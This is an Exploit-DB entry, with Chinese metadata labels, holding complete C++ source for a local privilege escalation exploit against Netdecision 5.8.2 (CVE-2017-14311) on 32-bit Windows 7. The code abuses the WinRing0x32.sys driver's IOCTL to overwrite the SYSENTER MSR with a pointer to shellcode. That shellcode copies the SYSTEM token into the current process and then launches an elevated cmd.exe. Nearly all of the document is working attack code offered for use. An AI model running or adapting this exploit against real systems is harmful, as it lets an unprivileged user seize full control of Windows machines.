标题: Netdecision 5.8.2 - Local Privilege Escalation EDB-ID: 42735 CVE: 2017-14311 类型: LOCAL 平台: WINDOWS 发布日期: 2017-09-16 漏洞利用脚本: // Netdecision.cpp : Defines the entry point for the console application.
/*
# Exploit Title: Netdecision 5.8.2 - Local Privilege Escalation - Winring0x32.sys
# Date: 2017.09.17
# Exploit Author: Peter Baris
# Vendor Homepage: www.netmechanica.com
# Software Link: http://www.netmechanica.com/downloads/  //registration required
# Version: 5.8.2 
# Tested on: Windows 7 Pro SP1 x86 / Windows 7 Enterprise SP1
# CVE : CVE-2017-14311 

Vendor notified on 2017.09.11 - no response */

#include "stdafx.h"
#include <stdio.h>
#include <Windows.h>
#include <winioctl.h>
#include <tlhelp32.h>
#include <Psapi.h>

#define DEVICE_NAME L"\\\\.\\WinRing0_1_2_0"



LPCTSTR FileName = (LPCTSTR)DEVICE_NAME;
HANDLE GetDeviceHandle(LPCTSTR FileName) {
 HANDLE hFile = NULL;

 hFile = CreateFile(FileName,
  GENERIC_READ | GENERIC_WRITE,
  0,
  0,
  OPEN_EXISTING,
  NULL,
  0);

 return hFile;
}


extern ULONG ZwYieldExecution = NULL;
extern PVOID KernelBaseAddressInKernelMode = NULL;
extern HMODULE hKernelInUserMode = NULL;

VOID GetKiFastSystemCall() {

 SIZE_T ReturnLength;
 HMODULE hntdll = NULL;

 ULONG ZwYieldExecution_offset;


 hntdll = LoadLibraryA("ntdll.dll");

 if (!hntdll) {
  printf("[-] Failed to Load ntdll.dll: 0x%X\n", GetLastError());
  exit(EXIT_FAILURE);
 }

 LPVOID drivers[1024];
 DWORD cbNeeded;

 EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded);
 KernelBaseAddressInKernelMode = drivers[0];


 printf("[+] Kernel base address: 0x%X\n", KernelBaseAddressInKernelMode);
 
 hKernelInUserMode = LoadLibraryA("ntkrnlpa.exe");

 if (!hKernelInUserMode) {
  printf("[-] Failed to load kernel: 0x%X\n", GetLastError());
  exit;
 }


 printf("[+] KernelImage Base in User-Mode 0x%X\r\n", hKernelInUserMode);

 
 

 ZwYieldExecution = GetProcAddress(hKernelInUserMode, "ZwYieldExecution");
 
 if (!ZwYieldExecution) {
  printf("[-] Failed to resolve KiFastSystemCall: 0x%X\n", GetLastError());
  exit;
 }
 
 ZwYieldExecution_offset = (ULONG)ZwYieldExecution - (ULONG)hKernelInUserMode;
 printf("[+] ZwYieldExecution's offset address in ntkrnlpa.exe: 0x%X\n", ZwYieldExecution_offset);


 (ULONG)ZwYieldExecution = (ULONG)ZwYieldExecution_offset + (ULONG)KernelBaseAddressInKernelMode;

 printf("[+] ZwYieldExecution's address in kernel-mode: 0x%X\n", ZwYieldExecution);


 if (hntdll) {
  FreeLibrary(hntdll);
 }

 if (hKernelInUserMode) {
  FreeLibrary(hKernelInUserMode);
 }

 hntdll = NULL;

 return hKernelInUserMode;
 return ZwYieldExecution;
}


extern ULONG eip = NULL;
extern ULONG pesp = NULL;
extern ULONG pebp = NULL;
extern ULONG ETHREAD = NULL;

ULONG Shellcode() {

 ULONG FunctionAddress = ZwYieldExecution;
 
 __asm {

  pushad
  pushfd
  xor eax,eax

  mov edi, FunctionAddress  ; Address of ZwYieldExection to EDI

  SearchCall:
  mov eax, 0xe8
  scasb
  jnz SearchCall

  mov ebx, edi
  mov ecx, [edi]
  add ebx, ecx; EBX points to KiSystemService
  add ebx, 0x4

  lea edi, [ebx - 0x1]
  SearchFastCallEntry:
  mov eax, 0x00000023
  scasd
  jnz SearchFastCallEntry
  mov eax, 0xa10f306a
  scasd
  jnz SearchFastCallEntry

  lea eax,[edi-0x9]
  xor edx, edx
  mov ecx, 0x176


  wrmsr
  popfd
  popad
   
  
  mov eax,ETHREAD
  
  mov eax,[eax]
  mov eax, [eax+0x050]
  mov ecx, eax
  mov edx, 0x4
  
  FindSystemProcess :
  mov eax, [eax + 0x0B8]
  sub eax, 0x0B8
  cmp[eax + 0x0B4], edx
  jne FindSystemProcess

  
  mov edx, [eax + 0x0F8]
  mov[ecx + 0x0F8], edx

  ;xor eax, eax
  mov esp,pesp
  mov ebp,pebp
 
  push eip
 ;  int 3
  ret
  
 }
 
}



int main()
{
 HANDLE hlib = NULL;
 HANDLE hFile = NULL;
 PVOID lpInBuffer = NULL;
 ULONG lpOutBuffer = NULL;
 ULONG lpBytesReturned;
 PVOID BuffAddress = NULL;
 SIZE_T BufferSize = 0x1000;
 SIZE_T nOutBufferSize = 0x800;
 ULONG Interval = 0;
 ULONG Shell = &Shellcode;
 NTSTATUS NtStatus = NULL;


 
 /* Undocumented feature to trigger the vulnerability */
 hlib = LoadLibraryA("ntdll.dll");

 if (!hlib) {
  printf("[-] Failed to load the library: 0x%X\n", GetLastError());
  exit(EXIT_FAILURE);
 }
 

 GetKiFastSystemCall();
 
 /* Allocate memory for our input and output buffers */
 lpInBuffer = VirtualAlloc(NULL, BufferSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
 
 /*Getting KiFastSystemCall address from ntdll.dll to restore it in 0x176 MSR*/
 

 lpOutBuffer = VirtualAlloc(NULL, BufferSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
 //printf("[+] Address to write our shellcode's address to: 0x%X\r\n", lpOutBuffer);


 /* Crafting the input buffer */

 BuffAddress = (PVOID)(((ULONG)lpInBuffer));
 *(PULONG)BuffAddress = (ULONG)0x00000176; /*IA32_SYSENTER_EIP MSR*/
 BuffAddress = (PVOID)(((ULONG)lpInBuffer + 0x4));
 *(PULONG)BuffAddress = (ULONG)Shell; /*Our assembly shellcode Pointer into EAX*/
 BuffAddress = (PVOID)(((ULONG)lpInBuffer + 0x8));
 *(PULONG)BuffAddress = (ULONG)0x00000000;  /* EDX is 0x00000000 in 32bit mode */
 BuffAddress = (PVOID)(((ULONG)lpInBuffer + 0xc));
 *(PULONG)BuffAddress = (ULONG)0x00000000;


 //RtlFillMemory(lpInBuffer, BufferSize, 0x41);
 //RtlFillMemory(lpOutBuffer, BufferSize, 0x42);

 
 //printf("[+] Trying the get the handle for the WinRing0_1_2_0 device.\r\n");

 hFile = GetDeviceHandle(FileName);

 if (hFile == INVALID_HANDLE_VALUE) {
  printf("[-] Can't get the device handle. 0x%X\r\n", GetLastError());
  return 1;
 }
 else
 {
  printf("[+] Handle opened for WinRing0x32. Sending IOCTL.\r\n");
 }
 
 /*Here we calculate the EIP for our return from kernel-mode. This exploit does not let us simply adjust the stack and return*/

 (HANDLE)eip = GetModuleHandleA(NULL); /*Getting the base address of our process*/
 printf("[+] Current process base address 0x%X\r\n", (HANDLE)eip);
 (HANDLE)eip = eip + 0x13ae; /*Any time you change something in the main() section you MUST adjust the offset to point to the PUSH 40 instrction*/
 printf("[+] Return address (EIP) from kernel-mode 0x%X\r\n", (HANDLE)eip);

 /*Setting CPU affinity before execution to maximize the chance of executing our code on the same CPU core*/
 DWORD_PTR i = 1; /*CPU Core with ID 1 will be always chosen for the execution*/

 ULONG affinity = SetThreadAffinityMask(GetCurrentThread(), i);

 printf("[+] Setting affinity for logical CPU with ID:%d\r\n", i);
  if (affinity == NULL) {

   printf("[-] Something went wrong while setting CPU affinity 0x%X\r\n", GetLastError());
   exit(1);
  }
 
 ETHREAD = (ULONG)KernelBaseAddressInKernelMode + 0x12bd24; /*Offset to nt!KiInitialThread as TEB is not readable*/

 /*Saving stack pointer and stack frame of user-mode before diving in kernel-mode to restore it before returning to user-mode */

 __asm {
  
  mov pesp, esp
  mov pebp, ebp
  nop
 }
 

 DeviceIoControl(hFile,
  0x9C402088, 
  lpInBuffer,
  0x10,
  lpOutBuffer, 
  0x20,  
  &lpBytesReturned,
  NULL);
 
 

  STARTUPINFO info = { sizeof(info) };
  PROCESS_INFORMATION processInfo;
  NTSTATUS proc;
  LPCSTR command = L"C:\\Windows\\System32\\cmd.exe";
  proc = CreateProcess(command, NULL, NULL, NULL, FALSE, 0, NULL, NULL, &info, &processInfo);

  if (!proc) {
 
   printf("ERROR 0x%X\r\n", proc);
  }
  WaitForSingleObject(processInfo.hProcess, INFINITE);
 

 exit(0);
} URL: https://www.exploit-db.com/exploits/42735